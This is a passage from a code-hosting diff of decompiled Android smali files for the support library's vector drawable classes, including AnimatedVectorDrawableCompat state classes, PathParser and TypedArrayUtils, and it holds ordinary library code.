invoke-virtual {v7, v1, v5}, Landroid/support/v4/util/ArrayMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
.line 520
add-int/lit8 v3, v3, 0x1
goto :goto_1
.line 509
.end local v0 # "anim":Landroid/animation/Animator;
.end local v1 # "animClone":Landroid/animation/Animator;
.end local v3 # "i":I
.end local v4 # "numAnimators":I
.end local v5 # "targetName":Ljava/lang/String;
.end local v6 # "targetObject":Ljava/lang/Object;
.restart local v2 # "cs":Landroid/graphics/drawable/Drawable$ConstantState;
:cond_1
invoke-virtual {v2}, Landroid/graphics/drawable/Drawable$ConstantState;->newDrawable()Landroid/graphics/drawable/Drawable;
move-result-object v7
check-cast v7, Landroid/support/graphics/drawable/VectorDrawableCompat;
iput-object v7, p0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableCompatState;->mVectorDrawable:Landroid/support/graphics/drawable/VectorDrawableCompat;
goto :goto_0
.line 531
.end local v2 # "cs":Landroid/graphics/drawable/Drawable$ConstantState;
:cond_2
return-void
.end method
# virtual methods
.method public getChangingConfigurations()I
.locals 1
.prologue
.line 545
iget v0, p0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableCompatState;->mChangingConfigurations:I
return v0
.end method
.method public newDrawable()Landroid/graphics/drawable/Drawable;
.locals 2
.prologue
.line 535
new-instance v0, Ljava/lang/IllegalStateException;
const-string v1, "No constant state support for SDK < 24."
invoke-direct {v0, v1}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
throw v0
.end method
.method public newDrawable(Landroid/content/res/Resources;)Landroid/graphics/drawable/Drawable;
.locals 2
.param p1, "res" # Landroid/content/res/Resources;
.prologue
.line 540
new-instance v0, Ljava/lang/IllegalStateException;
const-string v1, "No constant state support for SDK < 24."
invoke-direct {v0, v1}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
throw v0
.end method

Wyświetl plik

@ -0,0 +1,158 @@
.class Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableDelegateState;
.super Landroid/graphics/drawable/Drawable$ConstantState;
.source "AnimatedVectorDrawableCompat.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0xa
name = "AnimatedVectorDrawableDelegateState"
.end annotation
# instance fields
.field private final mDelegateState:Landroid/graphics/drawable/Drawable$ConstantState;
# direct methods
.method public constructor <init>(Landroid/graphics/drawable/Drawable$ConstantState;)V
.locals 0
.param p1, "state" # Landroid/graphics/drawable/Drawable$ConstantState;
.prologue
.line 452
invoke-direct {p0}, Landroid/graphics/drawable/Drawable$ConstantState;-><init>()V
.line 453
iput-object p1, p0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableDelegateState;->mDelegateState:Landroid/graphics/drawable/Drawable$ConstantState;
.line 454
return-void
.end method
# virtual methods
.method public canApplyTheme()Z
.locals 1
.prologue
.line 485
iget-object v0, p0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableDelegateState;->mDelegateState:Landroid/graphics/drawable/Drawable$ConstantState;
invoke-virtual {v0}, Landroid/graphics/drawable/Drawable$ConstantState;->canApplyTheme()Z
move-result v0
return v0
.end method
.method public getChangingConfigurations()I
.locals 1
.prologue
.line 490
iget-object v0, p0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableDelegateState;->mDelegateState:Landroid/graphics/drawable/Drawable$ConstantState;
invoke-virtual {v0}, Landroid/graphics/drawable/Drawable$ConstantState;->getChangingConfigurations()I
move-result v0
return v0
.end method
.method public newDrawable()Landroid/graphics/drawable/Drawable;
.locals 3
.prologue
.line 458
new-instance v0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;
invoke-direct {v0}, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;-><init>()V
.line 460
.local v0, "drawableCompat":Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;
iget-object v1, p0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableDelegateState;->mDelegateState:Landroid/graphics/drawable/Drawable$ConstantState;
invoke-virtual {v1}, Landroid/graphics/drawable/Drawable$ConstantState;->newDrawable()Landroid/graphics/drawable/Drawable;
move-result-object v1
iput-object v1, v0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
.line 461
iget-object v1, v0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
iget-object v2, v0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;->mCallback:Landroid/graphics/drawable/Drawable$Callback;
invoke-virtual {v1, v2}, Landroid/graphics/drawable/Drawable;->setCallback(Landroid/graphics/drawable/Drawable$Callback;)V
.line 462
return-object v0
.end method
.method public newDrawable(Landroid/content/res/Resources;)Landroid/graphics/drawable/Drawable;
.locals 3
.param p1, "res" # Landroid/content/res/Resources;
.prologue
.line 467
new-instance v0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;
invoke-direct {v0}, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;-><init>()V
.line 469
.local v0, "drawableCompat":Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;
iget-object v1, p0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableDelegateState;->mDelegateState:Landroid/graphics/drawable/Drawable$ConstantState;
invoke-virtual {v1, p1}, Landroid/graphics/drawable/Drawable$ConstantState;->newDrawable(Landroid/content/res/Resources;)Landroid/graphics/drawable/Drawable;
move-result-object v1
iput-object v1, v0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
.line 470
iget-object v1, v0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
iget-object v2, v0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;->mCallback:Landroid/graphics/drawable/Drawable$Callback;
invoke-virtual {v1, v2}, Landroid/graphics/drawable/Drawable;->setCallback(Landroid/graphics/drawable/Drawable$Callback;)V
.line 471
return-object v0
.end method
.method public newDrawable(Landroid/content/res/Resources;Landroid/content/res/Resources$Theme;)Landroid/graphics/drawable/Drawable;
.locals 3
.param p1, "res" # Landroid/content/res/Resources;
.param p2, "theme" # Landroid/content/res/Resources$Theme;
.prologue
.line 476
new-instance v0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;
invoke-direct {v0}, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;-><init>()V
.line 478
.local v0, "drawableCompat":Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;
iget-object v1, p0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableDelegateState;->mDelegateState:Landroid/graphics/drawable/Drawable$ConstantState;
invoke-virtual {v1, p1, p2}, Landroid/graphics/drawable/Drawable$ConstantState;->newDrawable(Landroid/content/res/Resources;Landroid/content/res/Resources$Theme;)Landroid/graphics/drawable/Drawable;
move-result-object v1
iput-object v1, v0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
.line 479
iget-object v1, v0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
iget-object v2, v0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;->mCallback:Landroid/graphics/drawable/Drawable$Callback;
invoke-virtual {v1, v2}, Landroid/graphics/drawable/Drawable;->setCallback(Landroid/graphics/drawable/Drawable$Callback;)V
.line 480
return-object v0
.end method

Wyświetl plik

@ -0,0 +1,29 @@
.class public final Landroid/support/graphics/drawable/BuildConfig;
.super Ljava/lang/Object;
.source "BuildConfig.java"
# static fields
.field public static final APPLICATION_ID:Ljava/lang/String; = "android.support.graphics.drawable"
.field public static final BUILD_TYPE:Ljava/lang/String; = "release"
.field public static final DEBUG:Z = false
.field public static final FLAVOR:Ljava/lang/String; = ""
.field public static final VERSION_CODE:I = -0x1
.field public static final VERSION_NAME:Ljava/lang/String; = ""
# direct methods
.method public constructor <init>()V
.locals 0
.prologue
.line 6
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method

Wyświetl plik

@ -0,0 +1,33 @@
.class Landroid/support/graphics/drawable/PathParser$ExtractFloatResult;
.super Ljava/lang/Object;
.source "PathParser.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Landroid/support/graphics/drawable/PathParser;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0xa
name = "ExtractFloatResult"
.end annotation
# instance fields
.field mEndPosition:I
.field mEndWithNegOrDot:Z
# direct methods
.method constructor <init>()V
.locals 0
.prologue
.line 187
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
.line 188
return-void
.end method

Wyświetl plik

@ -0,0 +1,909 @@
.class Landroid/support/graphics/drawable/PathParser;
.super Ljava/lang/Object;
.source "PathParser.java"
# annotations
.annotation system Ldalvik/annotation/MemberClasses;
value = {
Landroid/support/graphics/drawable/PathParser$PathDataNode;,
Landroid/support/graphics/drawable/PathParser$ExtractFloatResult;
}
.end annotation
# static fields
.field private static final LOGTAG:Ljava/lang/String; = "PathParser"
# direct methods
.method constructor <init>()V
.locals 0
.prologue
.line 24
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
.line 295
return-void
.end method
.method private static addNode(Ljava/util/ArrayList;C[F)V
.locals 1
.param p1, "cmd" # C
.param p2, "val" # [F
.annotation system Ldalvik/annotation/Signature;
value = {
"(",
"Ljava/util/ArrayList",
"<",
"Landroid/support/graphics/drawable/PathParser$PathDataNode;",
">;C[F)V"
}
.end annotation
.prologue
.line 178
.local p0, "list":Ljava/util/ArrayList;, "Ljava/util/ArrayList<Landroid/support/graphics/drawable/PathParser$PathDataNode;>;"
new-instance v0, Landroid/support/graphics/drawable/PathParser$PathDataNode;
invoke-direct {v0, p1, p2}, Landroid/support/graphics/drawable/PathParser$PathDataNode;-><init>(C[F)V
invoke-virtual {p0, v0}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
.line 179
return-void
.end method
.method public static canMorph([Landroid/support/graphics/drawable/PathParser$PathDataNode;[Landroid/support/graphics/drawable/PathParser$PathDataNode;)Z
.locals 4
.param p0, "nodesFrom" # [Landroid/support/graphics/drawable/PathParser$PathDataNode;
.param p1, "nodesTo" # [Landroid/support/graphics/drawable/PathParser$PathDataNode;
.prologue
const/4 v1, 0x0
.line 126
if-eqz p0, :cond_0
if-nez p1, :cond_1
.line 140
:cond_0
:goto_0
return v1
.line 130
:cond_1
array-length v2, p0
array-length v3, p1
if-ne v2, v3, :cond_0
.line 134
const/4 v0, 0x0
.local v0, "i":I
:goto_1
array-length v2, p0
if-ge v0, v2, :cond_2
.line 135
aget-object v2, p0, v0
iget-char v2, v2, Landroid/support/graphics/drawable/PathParser$PathDataNode;->type:C
aget-object v3, p1, v0
iget-char v3, v3, Landroid/support/graphics/drawable/PathParser$PathDataNode;->type:C
if-ne v2, v3, :cond_0
aget-object v2, p0, v0
iget-object v2, v2, Landroid/support/graphics/drawable/PathParser$PathDataNode;->params:[F
array-length v2, v2
aget-object v3, p1, v0
iget-object v3, v3, Landroid/support/graphics/drawable/PathParser$PathDataNode;->params:[F
array-length v3, v3
if-ne v2, v3, :cond_0
.line 134
add-int/lit8 v0, v0, 0x1
goto :goto_1
.line 140
:cond_2
const/4 v1, 0x1
goto :goto_0
.end method
.method static copyOfRange([FII)[F
.locals 5
.param p0, "original" # [F
.param p1, "start" # I
.param p2, "end" # I
.prologue
.line 44
if-le p1, p2, :cond_0
.line 45
new-instance v4, Ljava/lang/IllegalArgumentException;
invoke-direct {v4}, Ljava/lang/IllegalArgumentException;-><init>()V
throw v4
.line 47
:cond_0
array-length v1, p0
.line 48
.local v1, "originalLength":I
if-ltz p1, :cond_1
if-le p1, v1, :cond_2
.line 49
:cond_1
new-instance v4, Ljava/lang/ArrayIndexOutOfBoundsException;
invoke-direct {v4}, Ljava/lang/ArrayIndexOutOfBoundsException;-><init>()V
throw v4
.line 51
:cond_2
sub-int v3, p2, p1
.line 52
.local v3, "resultLength":I
sub-int v4, v1, p1
invoke-static {v3, v4}, Ljava/lang/Math;->min(II)I
move-result v0
.line 53
.local v0, "copyLength":I
new-array v2, v3, [F
.line 54
.local v2, "result":[F
const/4 v4, 0x0
invoke-static {p0, p1, v2, v4, v0}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
.line 55
return-object v2
.end method
.method public static createNodesFromPathData(Ljava/lang/String;)[Landroid/support/graphics/drawable/PathParser$PathDataNode;
.locals 8
.param p0, "pathData" # Ljava/lang/String;
.prologue
const/4 v7, 0x0
.line 81
if-nez p0, :cond_0
.line 82
const/4 v5, 0x0
.line 102
:goto_0
return-object v5
.line 84
:cond_0
const/4 v3, 0x0
.line 85
.local v3, "start":I
const/4 v0, 0x1
.line 87
.local v0, "end":I
new-instance v1, Ljava/util/ArrayList;
invoke-direct {v1}, Ljava/util/ArrayList;-><init>()V
.line 88
.local v1, "list":Ljava/util/ArrayList;, "Ljava/util/ArrayList<Landroid/support/graphics/drawable/PathParser$PathDataNode;>;"
:goto_1
invoke-virtual {p0}, Ljava/lang/String;->length()I
move-result v5
if-ge v0, v5, :cond_2
.line 89
invoke-static {p0, v0}, Landroid/support/graphics/drawable/PathParser;->nextStart(Ljava/lang/String;I)I
move-result v0
.line 90
invoke-virtual {p0, v3, v0}, Ljava/lang/String;->substring(II)Ljava/lang/String;
move-result-object v5
invoke-virtual {v5}, Ljava/lang/String;->trim()Ljava/lang/String;
move-result-object v2
.line 91
.local v2, "s":Ljava/lang/String;
invoke-virtual {v2}, Ljava/lang/String;->length()I
move-result v5
if-lez v5, :cond_1
.line 92
invoke-static {v2}, Landroid/support/graphics/drawable/PathParser;->getFloats(Ljava/lang/String;)[F
move-result-object v4
.line 93
.local v4, "val":[F
invoke-virtual {v2, v7}, Ljava/lang/String;->charAt(I)C
move-result v5
invoke-static {v1, v5, v4}, Landroid/support/graphics/drawable/PathParser;->addNode(Ljava/util/ArrayList;C[F)V
.line 96
.end local v4 # "val":[F
:cond_1
move v3, v0
.line 97
add-int/lit8 v0, v0, 0x1
.line 98
goto :goto_1
.line 99
.end local v2 # "s":Ljava/lang/String;
:cond_2
sub-int v5, v0, v3
const/4 v6, 0x1
if-ne v5, v6, :cond_3
invoke-virtual {p0}, Ljava/lang/String;->length()I
move-result v5
if-ge v3, v5, :cond_3
.line 100
invoke-virtual {p0, v3}, Ljava/lang/String;->charAt(I)C
move-result v5
new-array v6, v7, [F
invoke-static {v1, v5, v6}, Landroid/support/graphics/drawable/PathParser;->addNode(Ljava/util/ArrayList;C[F)V
.line 102
:cond_3
invoke-virtual {v1}, Ljava/util/ArrayList;->size()I
move-result v5
new-array v5, v5, [Landroid/support/graphics/drawable/PathParser$PathDataNode;
invoke-virtual {v1, v5}, Ljava/util/ArrayList;->toArray([Ljava/lang/Object;)[Ljava/lang/Object;
move-result-object v5
check-cast v5, [Landroid/support/graphics/drawable/PathParser$PathDataNode;
goto :goto_0
.end method
.method public static createPathFromPathData(Ljava/lang/String;)Landroid/graphics/Path;
.locals 6
.param p0, "pathData" # Ljava/lang/String;
.prologue
.line 63
new-instance v2, Landroid/graphics/Path;
invoke-direct {v2}, Landroid/graphics/Path;-><init>()V
.line 64
.local v2, "path":Landroid/graphics/Path;
invoke-static {p0}, Landroid/support/graphics/drawable/PathParser;->createNodesFromPathData(Ljava/lang/String;)[Landroid/support/graphics/drawable/PathParser$PathDataNode;
move-result-object v1
.line 65
.local v1, "nodes":[Landroid/support/graphics/drawable/PathParser$PathDataNode;
if-eqz v1, :cond_0
.line 67
:try_start_0
invoke-static {v1, v2}, Landroid/support/graphics/drawable/PathParser$PathDataNode;->nodesToPath([Landroid/support/graphics/drawable/PathParser$PathDataNode;Landroid/graphics/Path;)V
:try_end_0
.catch Ljava/lang/RuntimeException; {:try_start_0 .. :try_end_0} :catch_0
.line 73
.end local v2 # "path":Landroid/graphics/Path;
:goto_0
return-object v2
.line 68
.restart local v2 # "path":Landroid/graphics/Path;
:catch_0
move-exception v0
.line 69
.local v0, "e":Ljava/lang/RuntimeException;
new-instance v3, Ljava/lang/RuntimeException;
new-instance v4, Ljava/lang/StringBuilder;
invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
const-string v5, "Error in parsing "
invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v4
invoke-virtual {v4, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v4
invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v4
invoke-direct {v3, v4, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
throw v3
.line 73
.end local v0 # "e":Ljava/lang/RuntimeException;
:cond_0
const/4 v2, 0x0
goto :goto_0
.end method
.method public static deepCopyNodes([Landroid/support/graphics/drawable/PathParser$PathDataNode;)[Landroid/support/graphics/drawable/PathParser$PathDataNode;
.locals 4
.param p0, "source" # [Landroid/support/graphics/drawable/PathParser$PathDataNode;
.prologue
.line 110
if-nez p0, :cond_1
.line 111
const/4 v0, 0x0
.line 117
:cond_0
return-object v0
.line 113
:cond_1
array-length v2, p0
new-array v0, v2, [Landroid/support/graphics/drawable/PathParser$PathDataNode;
.line 114
.local v0, "copy":[Landroid/support/graphics/drawable/PathParser$PathDataNode;
const/4 v1, 0x0
.local v1, "i":I
:goto_0
array-length v2, p0
if-ge v1, v2, :cond_0
.line 115
new-instance v2, Landroid/support/graphics/drawable/PathParser$PathDataNode;
aget-object v3, p0, v1
invoke-direct {v2, v3}, Landroid/support/graphics/drawable/PathParser$PathDataNode;-><init>(Landroid/support/graphics/drawable/PathParser$PathDataNode;)V
aput-object v2, v0, v1
.line 114
add-int/lit8 v1, v1, 0x1
goto :goto_0
.end method
.method private static extract(Ljava/lang/String;ILandroid/support/graphics/drawable/PathParser$ExtractFloatResult;)V
.locals 8
.param p0, "s" # Ljava/lang/String;
.param p1, "start" # I
.param p2, "result" # Landroid/support/graphics/drawable/PathParser$ExtractFloatResult;
.prologue
const/4 v7, 0x1
.line 246
move v1, p1
.line 247
.local v1, "currentIndex":I
const/4 v2, 0x0
.line 248
.local v2, "foundSeparator":Z
const/4 v6, 0x0
iput-boolean v6, p2, Landroid/support/graphics/drawable/PathParser$ExtractFloatResult;->mEndWithNegOrDot:Z
.line 249
const/4 v5, 0x0
.line 250
.local v5, "secondDot":Z
const/4 v3, 0x0
.line 251
.local v3, "isExponential":Z
:goto_0
invoke-virtual {p0}, Ljava/lang/String;->length()I
move-result v6
if-ge v1, v6, :cond_1
.line 252
move v4, v3
.line 253
.local v4, "isPrevExponential":Z
const/4 v3, 0x0
.line 254
invoke-virtual {p0, v1}, Ljava/lang/String;->charAt(I)C
move-result v0
.line 255
.local v0, "currentChar":C
sparse-switch v0, :sswitch_data_0
.line 281
:cond_0
:goto_1
if-eqz v2, :cond_3
.line 287
.end local v0 # "currentChar":C
.end local v4 # "isPrevExponential":Z
:cond_1
iput v1, p2, Landroid/support/graphics/drawable/PathParser$ExtractFloatResult;->mEndPosition:I
.line 288
return-void
.line 258
.restart local v0 # "currentChar":C
.restart local v4 # "isPrevExponential":Z
:sswitch_0
const/4 v2, 0x1
.line 259
goto :goto_1
.line 262
:sswitch_1
if-eq v1, p1, :cond_0
if-nez v4, :cond_0
.line 263
const/4 v2, 0x1
.line 264
iput-boolean v7, p2, Landroid/support/graphics/drawable/PathParser$ExtractFloatResult;->mEndWithNegOrDot:Z
goto :goto_1
.line 268
:sswitch_2
if-nez v5, :cond_2
.line 269
const/4 v5, 0x1
goto :goto_1
.line 272
:cond_2
const/4 v2, 0x1
.line 273
iput-boolean v7, p2, Landroid/support/graphics/drawable/PathParser$ExtractFloatResult;->mEndWithNegOrDot:Z
goto :goto_1
.line 278
:sswitch_3
const/4 v3, 0x1
goto :goto_1
.line 251
:cond_3
add-int/lit8 v1, v1, 0x1
goto :goto_0
.line 255
nop
:sswitch_data_0
.sparse-switch
0x20 -> :sswitch_0
0x2c -> :sswitch_0
0x2d -> :sswitch_1
0x2e -> :sswitch_2
0x45 -> :sswitch_3
0x65 -> :sswitch_3
.end sparse-switch
.end method
.method private static getFloats(Ljava/lang/String;)[F
.locals 13
.param p0, "s" # Ljava/lang/String;
.prologue
const/4 v9, 0x1
const/4 v10, 0x0
.line 199
invoke-virtual {p0, v10}, Ljava/lang/String;->charAt(I)C
move-result v8
const/16 v11, 0x7a
if-ne v8, v11, :cond_0
move v8, v9
:goto_0
invoke-virtual {p0, v10}, Ljava/lang/String;->charAt(I)C
move-result v11
const/16 v12, 0x5a
if-ne v11, v12, :cond_1
:goto_1
or-int/2addr v8, v9
if-eqz v8, :cond_2
.line 200
new-array v8, v10, [F
.line 230
:goto_2
return-object v8
:cond_0
move v8, v10
.line 199
goto :goto_0
:cond_1
move v9, v10
goto :goto_1
.line 203
:cond_2
:try_start_0
invoke-virtual {p0}, Ljava/lang/String;->length()I
move-result v8
new-array v5, v8, [F
.line 204
.local v5, "results":[F
const/4 v0, 0x0
.line 205
.local v0, "count":I
const/4 v6, 0x1
.line 206
.local v6, "startPosition":I
const/4 v3, 0x0
.line 208
.local v3, "endPosition":I
new-instance v4, Landroid/support/graphics/drawable/PathParser$ExtractFloatResult;
invoke-direct {v4}, Landroid/support/graphics/drawable/PathParser$ExtractFloatResult;-><init>()V
.line 209
.local v4, "result":Landroid/support/graphics/drawable/PathParser$ExtractFloatResult;
invoke-virtual {p0}, Ljava/lang/String;->length()I
move-result v7
.local v7, "totalLength":I
move v1, v0
.line 214
.end local v0 # "count":I
.local v1, "count":I
:goto_3
if-ge v6, v7, :cond_4
.line 215
invoke-static {p0, v6, v4}, Landroid/support/graphics/drawable/PathParser;->extract(Ljava/lang/String;ILandroid/support/graphics/drawable/PathParser$ExtractFloatResult;)V
.line 216
iget v3, v4, Landroid/support/graphics/drawable/PathParser$ExtractFloatResult;->mEndPosition:I
.line 218
if-ge v6, v3, :cond_5
.line 219
add-int/lit8 v0, v1, 0x1
.line 220
.end local v1 # "count":I
.restart local v0 # "count":I
invoke-virtual {p0, v6, v3}, Ljava/lang/String;->substring(II)Ljava/lang/String;
move-result-object v8
.line 219
invoke-static {v8}, Ljava/lang/Float;->parseFloat(Ljava/lang/String;)F
move-result v8
aput v8, v5, v1
.line 223
:goto_4
iget-boolean v8, v4, Landroid/support/graphics/drawable/PathParser$ExtractFloatResult;->mEndWithNegOrDot:Z
if-eqz v8, :cond_3
.line 225
move v6, v3
move v1, v0
.end local v0 # "count":I
.restart local v1 # "count":I
goto :goto_3
.line 227
.end local v1 # "count":I
.restart local v0 # "count":I
:cond_3
add-int/lit8 v6, v3, 0x1
move v1, v0
.end local v0 # "count":I
.restart local v1 # "count":I
goto :goto_3
.line 230
:cond_4
const/4 v8, 0x0
invoke-static {v5, v8, v1}, Landroid/support/graphics/drawable/PathParser;->copyOfRange([FII)[F
:try_end_0
.catch Ljava/lang/NumberFormatException; {:try_start_0 .. :try_end_0} :catch_0
move-result-object v8
goto :goto_2
.line 231
.end local v1 # "count":I
.end local v3 # "endPosition":I
.end local v4 # "result":Landroid/support/graphics/drawable/PathParser$ExtractFloatResult;
.end local v5 # "results":[F
.end local v6 # "startPosition":I
.end local v7 # "totalLength":I
:catch_0
move-exception v2
.line 232
.local v2, "e":Ljava/lang/NumberFormatException;
new-instance v8, Ljava/lang/RuntimeException;
new-instance v9, Ljava/lang/StringBuilder;
invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
const-string v10, "error in parsing \""
invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v9
invoke-virtual {v9, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v9
const-string v10, "\""
invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v9
invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v9
invoke-direct {v8, v9, v2}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
throw v8
.end local v2 # "e":Ljava/lang/NumberFormatException;
.restart local v1 # "count":I
.restart local v3 # "endPosition":I
.restart local v4 # "result":Landroid/support/graphics/drawable/PathParser$ExtractFloatResult;
.restart local v5 # "results":[F
.restart local v6 # "startPosition":I
.restart local v7 # "totalLength":I
:cond_5
move v0, v1
.end local v1 # "count":I
.restart local v0 # "count":I
goto :goto_4
.end method
.method private static nextStart(Ljava/lang/String;I)I
.locals 3
.param p0, "s" # Ljava/lang/String;
.param p1, "end" # I
.prologue
.line 162
:goto_0
invoke-virtual {p0}, Ljava/lang/String;->length()I
move-result v1
if-ge p1, v1, :cond_1
.line 163
invoke-virtual {p0, p1}, Ljava/lang/String;->charAt(I)C
move-result v0
.line 168
.local v0, "c":C
add-int/lit8 v1, v0, -0x41
add-int/lit8 v2, v0, -0x5a
mul-int/2addr v1, v2
if-lez v1, :cond_0
add-int/lit8 v1, v0, -0x61
add-int/lit8 v2, v0, -0x7a
mul-int/2addr v1, v2
if-gtz v1, :cond_2
:cond_0
const/16 v1, 0x65
if-eq v0, v1, :cond_2
const/16 v1, 0x45
if-eq v0, v1, :cond_2
.line 174
.end local v0 # "c":C
:cond_1
return p1
.line 172
.restart local v0 # "c":C
:cond_2
add-int/lit8 p1, p1, 0x1
goto :goto_0
.end method
.method public static updateNodes([Landroid/support/graphics/drawable/PathParser$PathDataNode;[Landroid/support/graphics/drawable/PathParser$PathDataNode;)V
.locals 4
.param p0, "target" # [Landroid/support/graphics/drawable/PathParser$PathDataNode;
.param p1, "source" # [Landroid/support/graphics/drawable/PathParser$PathDataNode;
.prologue
.line 151
const/4 v0, 0x0
.local v0, "i":I
:goto_0
array-length v2, p1
if-ge v0, v2, :cond_1
.line 152
aget-object v2, p0, v0
aget-object v3, p1, v0
iget-char v3, v3, Landroid/support/graphics/drawable/PathParser$PathDataNode;->type:C
iput-char v3, v2, Landroid/support/graphics/drawable/PathParser$PathDataNode;->type:C
.line 153
const/4 v1, 0x0
.local v1, "j":I
:goto_1
aget-object v2, p1, v0
iget-object v2, v2, Landroid/support/graphics/drawable/PathParser$PathDataNode;->params:[F
array-length v2, v2
if-ge v1, v2, :cond_0
.line 154
aget-object v2, p0, v0
iget-object v2, v2, Landroid/support/graphics/drawable/PathParser$PathDataNode;->params:[F
aget-object v3, p1, v0
iget-object v3, v3, Landroid/support/graphics/drawable/PathParser$PathDataNode;->params:[F
aget v3, v3, v1
aput v3, v2, v1
.line 153
add-int/lit8 v1, v1, 0x1
goto :goto_1
.line 151
:cond_0
add-int/lit8 v0, v0, 0x1
goto :goto_0
.line 157
.end local v1 # "j":I
:cond_1
return-void
.end method

Wyświetl plik

@ -0,0 +1,173 @@
.class Landroid/support/graphics/drawable/TypedArrayUtils;
.super Ljava/lang/Object;
.source "TypedArrayUtils.java"
# static fields
.field private static final NAMESPACE:Ljava/lang/String; = "http://schemas.android.com/apk/res/android"
# direct methods
.method constructor <init>()V
.locals 0
.prologue
.line 20
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method
.method public static getNamedBoolean(Landroid/content/res/TypedArray;Lorg/xmlpull/v1/XmlPullParser;Ljava/lang/String;IZ)Z
.locals 1
.param p0, "a" # Landroid/content/res/TypedArray;
.param p1, "parser" # Lorg/xmlpull/v1/XmlPullParser;
.param p2, "attrName" # Ljava/lang/String;
.param p3, "resId" # I
.param p4, "defaultValue" # Z
.prologue
.line 39
invoke-static {p1, p2}, Landroid/support/graphics/drawable/TypedArrayUtils;->hasAttribute(Lorg/xmlpull/v1/XmlPullParser;Ljava/lang/String;)Z
move-result v0
.line 40
.local v0, "hasAttr":Z
if-nez v0, :cond_0
.line 43
.end local p4 # "defaultValue":Z
:goto_0
return p4
.restart local p4 # "defaultValue":Z
:cond_0
invoke-virtual {p0, p3, p4}, Landroid/content/res/TypedArray;->getBoolean(IZ)Z
move-result p4
goto :goto_0
.end method
.method public static getNamedColor(Landroid/content/res/TypedArray;Lorg/xmlpull/v1/XmlPullParser;Ljava/lang/String;II)I
.locals 1
.param p0, "a" # Landroid/content/res/TypedArray;
.param p1, "parser" # Lorg/xmlpull/v1/XmlPullParser;
.param p2, "attrName" # Ljava/lang/String;
.param p3, "resId" # I
.param p4, "defaultValue" # I
.prologue
.line 59
invoke-static {p1, p2}, Landroid/support/graphics/drawable/TypedArrayUtils;->hasAttribute(Lorg/xmlpull/v1/XmlPullParser;Ljava/lang/String;)Z
move-result v0
.line 60
.local v0, "hasAttr":Z
if-nez v0, :cond_0
.line 63
.end local p4 # "defaultValue":I
:goto_0
return p4
.restart local p4 # "defaultValue":I
:cond_0
invoke-virtual {p0, p3, p4}, Landroid/content/res/TypedArray;->getColor(II)I
move-result p4
goto :goto_0
.end method
.method public static getNamedFloat(Landroid/content/res/TypedArray;Lorg/xmlpull/v1/XmlPullParser;Ljava/lang/String;IF)F
.locals 1
